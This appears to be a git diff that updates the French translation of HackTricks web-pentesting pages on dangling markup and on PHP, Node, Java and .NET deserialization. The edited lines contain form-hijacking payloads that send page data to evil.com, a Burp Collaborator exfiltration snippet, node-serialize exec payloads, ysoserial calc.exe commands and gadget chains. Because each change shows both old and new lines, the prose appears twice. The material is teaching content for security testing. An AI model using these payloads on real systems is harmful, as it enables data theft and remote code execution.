Définissez un en-tête de formulaire : `<form action='http://evil.com/log_steal'>` cela écrasera l'en-tête du formulaire suivant et toutes les données du formulaire seront envoyées à l'attaquant.
### Vol de formulaires 3
@ -65,7 +65,7 @@ En utilisant la technique mentionnée ci-dessus pour voler des formulaires (inje
```html
<input type='hidden' name='review_body' value="
```
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et le prochain guillemet double dans le HTML. Cette attaque mélange "_**Stealing clear text secrets**_" avec "_**Stealing forms2**_".
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et le prochain guillemet double dans le HTML. Cette attaque mélange "_**Vol de secrets en texte clair**_" avec "_**Vol de forms2**_".
Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'une balise fermante `</option>` soit trouvée seront envoyées :
```html
@ -73,7 +73,7 @@ Vous pouvez faire la même chose en injectant un formulaire et une balise `<opti
```
### Injection de paramètres de formulaire
Vous pouvez modifier le chemin d'un formulaire et insérer de nouvelles valeurs afin qu'une action inattendue soit effectuée :
Vous pouvez changer le chemin d'un formulaire et insérer de nouvelles valeurs afin qu'une action inattendue soit effectuée :
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
@ -90,13 +90,13 @@ Vous pouvez modifier le chemin d'un formulaire et insérer de nouvelles valeurs
`<noscript></noscript>` est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par l'attaquant consistera à injecter ceci :
Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrôlé par l'attaquant sera d'injecter ceci :
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Contournement de CSP avec interaction utilisateur
Dans cette [recherche de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), vous pouvez apprendre que même dans les environnements **les plus restreints par CSP**, vous pouvez toujours **exfiltrer des données** avec un peu d'**interaction utilisateur**. Dans ce cas, nous allons utiliser le payload :
Dans cette [recherche de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), vous pouvez apprendre que même dans les environnements **les plus restreints par CSP**, vous pouvez toujours **exfiltrer des données** avec un peu d'**interaction utilisateur**. Dans cette occasion, nous allons utiliser le payload :
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
@ -109,7 +109,7 @@ if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Flux de script trompeur 1 - Attaque par espace de noms HTML
### Workflow de script trompeur 1 - Attaque par espace de noms HTML
Insérez une nouvelle balise avec un id à l'intérieur du HTML qui écrasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sélectionnez avec qui une information va être partagée :
```html

28
src/pentesting-web/deserialization/README.md
View File

@ -14,8 +14,8 @@ La désérialisation peut être dangereuse car elle **permet potentiellement aux
En PHP, des méthodes magiques spécifiques sont utilisées lors des processus de sérialisation et de désérialisation :
- `__sleep` : Invoquée lorsqu'un objet est en cours de sérialisation. Cette méthode doit retourner un tableau des noms de toutes les propriétés de l'objet qui doivent être sérialisées. Elle est couramment utilisée pour valider les données en attente ou effectuer des tâches de nettoyage similaires.
- `__wakeup` : Appelée lorsqu'un objet est en cours de désérialisation. Elle est utilisée pour rétablir toute connexion à la base de données qui aurait pu être perdue lors de la sérialisation et effectuer d'autres tâches de réinitialisation.
- `__sleep` : Appelée lorsqu'un objet est en cours de sérialisation. Cette méthode doit retourner un tableau des noms de toutes les propriétés de l'objet qui doivent être sérialisées. Elle est couramment utilisée pour valider les données en attente ou effectuer des tâches de nettoyage similaires.
- `__wakeup` : Appelée lorsqu'un objet est en cours de désérialisation. Elle est utilisée pour rétablir les connexions à la base de données qui ont pu être perdues lors de la sérialisation et effectuer d'autres tâches de réinitialisation.
- `__unserialize` : Cette méthode est appelée à la place de `__wakeup` (si elle existe) lorsqu'un objet est en cours de désérialisation. Elle offre plus de contrôle sur le processus de désérialisation par rapport à `__wakeup`.
- `__destruct` : Cette méthode est appelée lorsqu'un objet est sur le point d'être détruit ou lorsque le script se termine. Elle est généralement utilisée pour des tâches de nettoyage, comme la fermeture des poignées de fichiers ou des connexions à la base de données.
- `__toString` : Cette méthode permet à un objet d'être traité comme une chaîne. Elle peut être utilisée pour lire un fichier ou d'autres tâches basées sur les appels de fonction à l'intérieur, fournissant ainsi une représentation textuelle de l'objet.
@ -74,7 +74,7 @@ This is a test<br />
*/
?>
```
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lorsque vous essayez d'imprimer un attribut, mais apparemment, cela **n'arrive plus**.
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lors de la tentative d'impression d'un attribut, mais apparemment, cela **n'arrive plus**.
> [!WARNING]
> La méthode **`__unserialize(array $data)`** est appelée **au lieu de `__wakeup()`** si elle est implémentée dans la classe. Elle vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser des propriétés et effectuer toutes les tâches nécessaires lors de la désérialisation.
@ -233,7 +233,7 @@ Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée, le dra
Comme vous pouvez le voir dans le dernier morceau de code, **si le drapeau est trouvé**, `eval` est utilisé pour désérialiser la fonction, donc fondamentalement **l'entrée utilisateur est utilisée à l'intérieur de la fonction `eval`**.
Cependant, **simplement sérialiser** une fonction **ne l'exécutera pas**, car il serait nécessaire qu'une partie du code **appelle `y.rce`** dans notre exemple et c'est très **peu probable**.\
Cependant, **simplement sérialiser** une fonction **ne l'exécutera pas**, car il serait nécessaire qu'une partie du code **appelle `y.rce`** dans notre exemple et c'est très **improbable**.\
Quoi qu'il en soit, vous pourriez simplement **modifier l'objet sérialisé** **en ajoutant des parenthèses** afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.\
Dans le prochain morceau de code, **remarquez la dernière parenthèse** et comment la fonction `unserialize` exécutera automatiquement le code :
```javascript
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Comme indiqué précédemment, cette bibliothèque récupérera le code après `_$$ND_FUNC$$_` et **l'exécutera** en utilisant `eval`. Par conséquent, afin de **faire s'exécuter automatiquement le code**, vous pouvez **supprimer la partie de création de la fonction** et la dernière parenthèse et **exécuter simplement une ligne de code JS** comme dans l'exemple suivant :
Comme indiqué précédemment, cette bibliothèque récupérera le code après `_$$ND_FUNC$$_` et **l'exécutera** en utilisant `eval`. Par conséquent, pour **exécuter automatiquement du code**, vous pouvez **supprimer la partie de création de la fonction** et la dernière parenthèse et **exécuter simplement une ligne de code JS** comme dans l'exemple suivant :
```javascript
var serialize = require("node-serialize")
var test =
@ -256,7 +256,7 @@ Vous pouvez [**trouver ici**](https://opsecx.com/index.php/2017/02/08/exploiting
Un aspect notable de **funcster** est l'inaccessibilité des **objets intégrés standard** ; ils se situent en dehors du champ d'application accessible. Cette restriction empêche l'exécution de code qui tente d'invoquer des méthodes sur des objets intégrés, entraînant des exceptions telles que `"ReferenceError: console is not defined"` lorsque des commandes comme `console.log()` ou `require(something)` sont utilisées.
Malgré cette limitation, la restauration d'un accès complet au contexte global, y compris tous les objets intégrés standard, est possible grâce à une approche spécifique. En exploitant directement le contexte global, on peut contourner cette restriction. Par exemple, l'accès peut être rétabli en utilisant le snippet suivant :
Malgré cette limitation, la restauration d'un accès complet au contexte global, y compris tous les objets intégrés standard, est possible grâce à une approche spécifique. En tirant parti du contexte global directement, on peut contourner cette restriction. Par exemple, l'accès peut être rétabli en utilisant le snippet suivant :
```javascript
funcster = require("funcster")
//Serialization
@ -322,7 +322,7 @@ En Java, **les rappels de désérialisation sont exécutés pendant le processus
Pour identifier les vulnérabilités potentielles de sérialisation dans le code, recherchez :
- Des classes qui implémentent l'interface `Serializable`.
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
Faites particulièrement attention à :
@ -512,7 +512,7 @@ private transient double margin; // declared transient
```
#### Évitez la sérialisation d'une classe qui doit implémenter Serializable
Dans les scénarios où certains **objets doivent implémenter l'interface `Serializable`** en raison de la hiérarchie des classes, il existe un risque de désérialisation involontaire. Pour éviter cela, assurez-vous que ces objets ne sont pas désérialisables en définissant une méthode `readObject()` `final` qui lance systématiquement une exception, comme montré ci-dessous :
Dans les scénarios où certains **objets doivent implémenter l'interface `Serializable`** en raison de la hiérarchie des classes, il existe un risque de désérialisation involontaire. Pour éviter cela, assurez-vous que ces objets ne sont pas désérialisables en définissant une méthode `readObject()` `final` qui lance systématiquement une exception, comme indiqué ci-dessous :
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -525,7 +525,7 @@ throw new java.io.IOException("Cannot be deserialized");
- Le code de désérialisation est sous votre contrôle.
- Les classes attendues pour la désérialisation sont connues.
Surchargez la méthode **`resolveClass()`** pour limiter la désérialisation aux classes autorisées uniquement. Cela empêche la désérialisation de toute classe sauf celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe `Bicycle` uniquement :
Surchargez la **`resolveClass()`** méthode pour limiter la désérialisation aux classes autorisées uniquement. Cela empêche la désérialisation de toute classe sauf celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe `Bicycle` uniquement :
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -546,7 +546,7 @@ return super.resolveClass(desc);
}
}
```
**Utilisation d'un agent Java pour l'amélioration de la sécurité** offre une solution de repli lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement à **la mise sur liste noire des classes nuisibles**, en utilisant un paramètre JVM :
**Utilisation d'un agent Java pour l'amélioration de la sécurité** offre une solution de secours lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement à **la mise sur liste noire des classes nuisibles**, en utilisant un paramètre JVM :
```
-javaagent:name-of-agent.jar
```
@ -651,10 +651,10 @@ Les principales options de **ysoserial.net** sont : **`--gadget`**, **`--formatt
- **`--gadget`** utilisé pour indiquer le gadget à abuser (indique la classe/fonction qui sera abusée lors de la désérialisation pour exécuter des commandes).
- **`--formatter`**, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque est utilisée par le back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser)
- **`--output`** utilisé pour indiquer si vous souhaitez l'exploit en **brut** ou **base64** encodé. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII, mais cela ne signifie pas que cela fonctionnera toujours)._
- **`--output`** utilisé pour indiquer si vous souhaitez l'exploit en **brut** ou **base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours)._
- **`--plugin`** ysoserial.net prend en charge les plugins pour créer des **exploits pour des frameworks spécifiques** comme ViewState
#### Plus de paramètres ysoserial.net
#### Autres paramètres de ysoserial.net
- `--minify` fournira une **charge utile plus petite** (si possible)
- `--raf -f Json.Net -c "anything"` Cela indiquera tous les gadgets qui peuvent être utilisés avec un sérialiseur fourni (`Json.Net` dans ce cas)
@ -728,7 +728,7 @@ Pour atténuer les risques associés à la désérialisation dans .Net :
### **Références**
- Document sur la désérialisation JSON de Java et .Net : [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** conférence : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Document sur la désérialisation JSON en Java et .Net : [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** conférence : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
@ -860,7 +860,7 @@ Vérifiez plus d'informations sur la [page de pollution _json Ruby](ruby-_json-p
### Autres bibliothèques
Cette technique a été prise [**de cet article de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Cette technique a été prise[ **de cet article de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Il existe d'autres bibliothèques Ruby qui peuvent être utilisées pour sérialiser des objets et qui pourraient donc être abusées pour obtenir un RCE lors d'une désérialisation non sécurisée. Le tableau suivant montre certaines de ces bibliothèques et la méthode qu'elles appellent de la bibliothèque chargée chaque fois qu'elle est désérialisée (fonction à abuser pour obtenir un RCE essentiellement) :

10
src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View File

@ -6,8 +6,8 @@ Ce post est dédié à **comprendre comment le gadget ObjectDataProvider est exp
## Gadget ObjectDataProvider
D'après la documentation : _la classe ObjectDataProvider enveloppe et crée un objet que vous pouvez utiliser comme source de liaison_.\
Oui, c'est une explication étrange, alors voyons ce que cette classe a de si intéressant : cette classe permet de **envelopper un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires,** puis **d'utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclaré en utilisant les paramètres arbitraires.\
D'après la documentation : _la classe ObjectDataProvider encapsule et crée un objet que vous pouvez utiliser comme source de liaison_.\
Oui, c'est une explication étrange, alors voyons ce que cette classe a de si intéressant : cette classe permet de **encapsuler un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires,** puis **d'utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclaré avec les paramètres arbitraires.\
Par conséquent, l'**objet** arbitraire va **exécuter** une **fonction** avec **des paramètres tout en étant désérialisé.**
### **Comment est-ce possible**
@ -56,7 +56,7 @@ Notez que vous devez ajouter en référence _C:\Windows\Microsoft.NET\Framework\
## ExpandedWrapper
En utilisant l'exploit précédent, il y aura des cas où l'**objet** sera **désérialisé en tant que** une instance d'_**ObjectDataProvider**_ (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, il n'aura **aucune connaissance du type d'objet qui est encapsulé** dans l'instance _ObjectDataProvider_ (par exemple `Process`). Vous pouvez trouver plus [d'informations sur la vulnérabilité DotNetNuke ici](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
En utilisant l'exploit précédent, il y aura des cas où l'**objet** sera **désérialisé en tant que** une instance _**ObjectDataProvider**_ (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, il n'aura **aucune connaissance du type d'objet qui est encapsulé** dans l'instance _ObjectDataProvider_ (par exemple `Process`). Vous pouvez trouver plus [d'informations sur la vulnérabilité DotNetNuke ici](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Cette classe permet de **spécifier les types d'objets des objets qui sont encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\
Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure de **wrap \_ObjectDataProvider**_\*\* à l'intérieur d'une instance \*\*_**ExpandedWrapper** \_ et **lors de la désérialisation**, cette classe **créera** l'objet _**OjectDataProvider**_ qui **exécutera** la **fonction** indiquée dans _**MethodName**_.
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Sur la [page web officielle](https://www.newtonsoft.com/json), il est indiqué que cette bibliothèque permet de **sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET**. Donc, si nous pouvions **désérialiser le gadget ObjectDataProvider**, nous pourrions provoquer un **RCE** simplement en désérialisant un objet.
Dans la [page web officielle](https://www.newtonsoft.com/json), il est indiqué que cette bibliothèque permet de **sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET**. Donc, si nous pouvions **désérialiser le gadget ObjectDataProvider**, nous pourrions provoquer un **RCE** simplement en désérialisant un objet.
### Exemple Json.Net
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Dans ce code, vous pouvez **tester l'exploit**, il suffit de l'exécuter et vous verrez qu'un calc est exécuté :
Dans ce code, vous pouvez **tester l'exploit**, il suffit de l'exécuter et vous verrez qu'une calc est exécutée :
```java
using System;
using System.Text;

12
src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
View File

@ -12,12 +12,12 @@ Les informations de ViewState peuvent être caractérisées par les propriétés
- **Base64** :
- Ce format est utilisé lorsque les attributs `EnableViewStateMac` et `ViewStateEncryptionMode` sont définis sur false.
- **Base64 + MAC (Code d'Authentification de Message) Activé** :
- **Base64 + MAC (Code d'authentification de message) activé** :
- L'activation de MAC est réalisée en définissant l'attribut `EnableViewStateMac` sur true. Cela fournit une vérification d'intégrité pour les données de ViewState.
- **Base64 + Chiffré** :
- Le chiffrement est appliqué lorsque l'attribut `ViewStateEncryptionMode` est défini sur true, garantissant la confidentialité des données de ViewState.
## Cas de Test
## Cas de test
L'image est un tableau détaillant différentes configurations pour ViewState dans ASP.NET en fonction de la version du framework .NET. Voici un résumé du contenu :
@ -26,7 +26,7 @@ L'image est un tableau détaillant différentes configurations pour ViewState da
3. Pour **les versions inférieures à 4.5**, que MAC soit activé ou désactivé, si le chiffrement est activé, une MachineKey est nécessaire. Identifier la MachineKey est une tâche pour "Blacklist3r - Future Development."
4. Pour **les versions 4.5 et supérieures**, toutes les combinaisons de MAC et de chiffrement (que les deux soient vrais, ou que l'un soit vrai et l'autre faux) nécessitent une MachineKey. La MachineKey peut être identifiée en utilisant "Blacklist3r."
### Cas de Test : 1 – EnableViewStateMac=false et viewStateEncryptionMode=false
### Cas de test : 1 – EnableViewStateMac=false et viewStateEncryptionMode=false
Il est également possible de désactiver complètement le ViewStateMAC en définissant la clé de registre `AspNetEnforceViewStateMac` à zéro dans :
```
@ -108,7 +108,7 @@ Dans les cas où le paramètre `_VIEWSTATEGENERATOR` **n'est pas envoyé** par l
```
### Cas de test : 3 – .Net < 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true
Dans ce cas, il n'est pas connu si le paramètre est protégé par MAC. Alors, la valeur est probablement chiffrée et vous **aurez besoin de la clé machine pour chiffrer votre charge utile** afin d'exploiter la vulnérabilité.
Dans ce cas, on ne sait pas si le paramètre est protégé par MAC. Alors, la valeur est probablement chiffrée et vous **aurez besoin de la clé machine pour chiffrer votre charge utile** afin d'exploiter la vulnérabilité.
**Dans ce cas, le** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module est en cours de développement...**
@ -116,7 +116,7 @@ Dans ce cas, il n'est pas connu si le paramètre est protégé par MAC. Alors, l
Par conséquent, si les attaquants trouvent un moyen d'obtenir la clé machine via une autre vulnérabilité comme le parcours de fichiers, la commande [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilisée dans le **Cas 2** peut être utilisée pour effectuer un RCE en utilisant la vulnérabilité de désérialisation de ViewState.
- Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête afin d'exploiter la vulnérabilité de désérialisation de ViewState, sinon cela renverra une erreur de validation MAC de Viewstate et l'exploitation échouera.
- Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête afin d'exploiter la vulnérabilité de désérialisation de ViewState, sinon cela renverra une erreur de validation MAC de ViewState et l'exploitation échouera.
### Cas de test : 4 – .Net >= 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true/false sauf les deux attributs à false
@ -124,7 +124,7 @@ Nous pouvons forcer l'utilisation du framework ASP.NET en spécifiant le paramè
```xml
<httpRuntime targetFramework="4.5" />
```
Alternativement, cela peut être fait en spécifiant l'option ci-dessous à l'intérieur du paramètre `machineKey` du fichier web.config.
Alternativement, cela peut être fait en spécifiant l'option ci-dessous dans le paramètre `machineKey` du fichier web.config.
```bash
compatibilityMode="Framework45"
```

16
src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
View File

@ -1,8 +1,8 @@
# Java DNS Désérialisation, GadgetProbe et Scanner de Désérialisation Java
# Java DNS Deserialization, GadgetProbe et Java Deserialization Scanner
{{#include ../../banners/hacktricks-training.md}}
## Requête DNS sur désérialisation
## Requête DNS sur la désérialisation
La classe `java.net.URL` implémente `Serializable`, cela signifie que cette classe peut être sérialisée.
```java
@ -28,7 +28,7 @@ int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
Comme vous pouvez l'observer, **lors de la désérialisation** d'un **`HashMap`**, la fonction `hash` va **être exécutée avec chaque objet** et **pendant** l'exécution de **`hash`**, **il va être exécuté `.hashCode()` de l'objet**. Par conséquent, si vous **désérialisez** un **`HashMap`** **contenant** un objet **URL**, l'objet **URL** va **exécuter** `.hashCode()`.
Comme vous pouvez l'observer, **lors de la désérialisation** d'un **`HashMap`**, la fonction `hash` va **être exécutée avec chaque objet** et **pendant** l'exécution de **`hash`**, **`.hashCode()` de l'objet** va être exécuté. Par conséquent, si vous **désérialisez** un **`HashMap`** **contenant** un objet **URL**, l'objet **URL** va **exécuter** `.hashCode()`.
Maintenant, examinons le code de `URLObject.hashCode()` :
```java
@ -39,7 +39,7 @@ return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
```
Comme vous pouvez le voir, lorsqu'un `URLObject` exécute `.hashCode()`, il appelle `hashCode(this)`. En continuation, vous pouvez voir le code de cette fonction :
Comme vous pouvez le voir, lorsqu'un `URLObject` exécute `.hashCode()`, il appelle `hashCode(this)`. Une continuation, vous pouvez voir le code de cette fonction :
```java
protected int hashCode(URL u) {
int h = 0;
@ -135,9 +135,9 @@ Vous pouvez télécharger [**GadgetProbe**](https://github.com/BishopFox/GadgetP
### Comment ça fonctionne
**GadgetProbe** utilisera la même **charge utile DNS de la section précédente** mais **avant** d'exécuter la requête DNS, il essaiera de **désérialiser une classe arbitraire**. Si la **classe arbitraire existe**, la **requête DNS** sera **envoyée** et GadgetProbe notera que cette classe existe. Si la **requête DNS** n'est **jamais envoyée**, cela signifie que la **classe arbitraire n'a pas été désérialisée** avec succès, donc soit elle n'est pas présente, soit elle n'est **pas sérialisable/exploitable**.
**GadgetProbe** utilisera la même **charge utile DNS de la section précédente** mais **avant** d'exécuter la requête DNS, il essaiera **de désérialiser une classe arbitraire**. Si la **classe arbitraire existe**, la **requête DNS** sera **envoyée** et GadgetProbe notera que cette classe existe. Si la **requête DNS** n'est **jamais envoyée**, cela signifie que la **classe arbitraire n'a pas été désérialisée** avec succès, donc soit elle n'est pas présente, soit elle n'est **pas sérialisable/exploitable**.
Dans le github, [**GadgetProbe a quelques listes de mots**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) avec des classes Java à tester.
Dans le github, [**GadgetProbe a des listes de mots**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) avec des classes Java à tester.
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
@ -148,7 +148,7 @@ Dans le github, [**GadgetProbe a quelques listes de mots**](https://github.com/B
## Scanner de désérialisation Java
Ce scanner peut être **téléchargé** depuis le Burp App Store (**Extender**).\
L'**extension** a des **capacités** passives et actives.
L'**extension** a des capacités **passives** et **actives**.
### Passif
@ -161,7 +161,7 @@ Par défaut, il **vérifie passivement** toutes les requêtes et réponses envoy
**Test manuel**
Vous pouvez sélectionner une requête, faire un clic droit et `Envoyer la requête à DS - Test manuel`.\
Ensuite, dans l'onglet _Scanner de désérialisation_ --> _onglet Test manuel_, vous pouvez sélectionner le **point d'insertion**. Et **lancer le test** (Sélectionnez l'attaque appropriée en fonction de l'encodage utilisé).
Ensuite, dans l'onglet _Deserialization Scanner_ --> _onglet Test manuel_, vous pouvez sélectionner le **point d'insertion**. Et **lancer le test** (Sélectionnez l'attaque appropriée en fonction de l'encodage utilisé).
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)

8
src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
View File

@ -92,7 +92,7 @@ Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
Dans la dernière section de la charge utile, vous pouvez voir qu'un **objet Map est créé**. Ensuite, la fonction `decorate` est exécutée à partir de `LazyMap` avec l'objet map et les transformateurs chaînés. Dans le code suivant, vous pouvez voir que cela entraînera la **copie des transformateurs chaînés** à l'intérieur de l'attribut `lazyMap.factory` :
Dans la dernière section de la charge utile, vous pouvez voir qu'un **objet Map est créé**. Ensuite, la fonction `decorate` est exécutée à partir de `LazyMap` avec l'objet map et les transformateurs chaînés. Dans le code suivant, vous pouvez voir que cela va entraîner la **copie des transformateurs chaînés** à l'intérieur de l'attribut `lazyMap.factory` :
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
@ -149,15 +149,15 @@ new Class[]{String.class},
command
).transform(value); //(4)
```
_Remarquez comment `value` est l'entrée de chaque transformation et la sortie de la transformation précédente, permettant l'exécution d'une ligne :_
_Remarquez comment `value` est l'entrée de chaque transformation et la sortie de la transformation précédente, permettant l'exécution d'une ligne de code :_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
Notez qu'ici il **a été expliqué les gadgets** utilisés pour le **payload ComonsCollections1**. Mais il reste **comment tout cela commence à s'exécuter**. Vous pouvez voir [ici que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), afin d'exécuter ce payload, utilise un objet `AnnotationInvocationHandler` car **lorsque cet objet est désérialisé**, il **invoquera** la fonction `payload.get()` qui **exécutera l'ensemble du payload**.
Notez qu'ici il **a été expliqué les gadgets** utilisés pour le **ComonsCollections1** payload. Mais il reste **comment tout cela commence à s'exécuter**. Vous pouvez voir [ici que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), afin d'exécuter ce payload, utilise un objet `AnnotationInvocationHandler` car **lorsque cet objet est désérialisé**, il **invoquera** la fonction `payload.get()` qui **exécutera l'ensemble du payload**.
## Java Thread Sleep
Ce payload pourrait être **utile pour identifier si le web est vulnérable car il exécutera un sommeil si c'est le cas**.
Ce payload pourrait être **utile pour identifier si le web est vulnérable car il exécutera un sleep si c'est le cas**.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;

26
src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
View File

